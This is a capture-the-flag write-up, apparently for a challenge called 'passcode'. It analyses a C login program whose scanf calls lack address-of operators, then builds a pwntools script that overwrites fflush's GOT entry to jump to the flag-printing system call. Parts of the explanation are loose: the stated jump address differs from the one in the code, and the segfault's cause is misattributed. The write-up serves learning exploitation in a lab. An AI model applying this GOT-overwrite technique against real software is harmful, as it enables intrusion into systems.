Finding the problem
First let's look at the code that we have.
int main()
{
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
The main()
function will call two other functions: welcome()
and login()
.
void welcome()
{
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
welcome()
will get your name in a 100 bytes buffer and reprint it.
void login()
{
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if (passcode1 == 338150 && passcode2 == 13371337)
{
printf("Login OK!\n");
system("/bin/cat flag");
}
else
{
printf("Login Failed!\n");
exit(0);
}
}
login()
will ask you to enter two passcodes and if those are good, will display the flag.
When testing the application, we get a segmentation fault when test is called.
So there seems to be something wrong with the line:
if (passcode1 == 338150 && passcode2 == 13371337)
When opening the code in my Neovim, I also have a warning on the scanf
lines for login()
that the format specifies int *
but the argument is int
. This means that instead of calling the address and getting the value from it, the code passes passcode1
and passcode2
as addresses. Which could be the reason of our segmentation fault.
Debugging the binary
Let's open our debugger:
rz -d passcode
Let's look at login()
:
We can see that the passcode1
and passcode2
are stored int32 variables. But the lines cmp dword [var_10h], 0x528e6
and cmp dword [var_ch], 0xcc07c9
will compare the addresses and not the value.
Now let's look at welcome()
:
It is possible to see that on how the values are stored. In welcome()
, the name you entered is stored in var_70h
which is then called with lea
.
In login()
, no signs of lea
but the variables are directly called with mov
. So what's the difference? lea
stands for "load effective address" while mov
will only move an address to a register. This corroborates our theory that the variables are not seen as variables with a pointer but as addresses which leads us to the bug. Indeed, the code tries to load the address passcode1
and passcode2
which obviously do not exist.
Exploit
How could we have access to the memory to run malicious payload? My first idea would be to put the payload when we are prompted with the name. But this variable is not called in login()
which prevents us to get to that section. However, there is the fflush()
command in login()
. fflush()
is a imported function, that means that it is loaded when the binary is started. This means that maybe we could hijack the code here (See this) and overwrite with our own payload. It would also work as fflush()
has a jmp
instruction.
So something like:
- Getting at the end of the buffer
- Setting the address of fflush to get the
jmp
(0x804a004) and getting the control or EIP. -
jmp
to the system call printing the flag (0x080485ea)
I spent some time tricking the formats around until it worked. I am not sure why the second address must be in numerical and not hex, but eh... It worked. Also, it's important to have the second reception call as recvall()
and not recvline()
and the output we want is later on in the process. I spent days reviewing my exploit code and forgetting about that part.
So here is the local exploit code:
from pwn import *
context.update(arch="i386", os="linux")
e = ELF("./passcode")
name = b"A" * 96
name += p32(0x804a004)
name += str.encode(str(0x080485d7))
p = e.process(level="error")
# header
print(p.recvline())
p.sendline(name)
print(p.recvall())
If you look online there are other exploitation solutions, notably one as a oneliner. But it only works with Python2 for some reason. I couldn't understand why. If you know about it, let me know in the comments!
Top comments (0)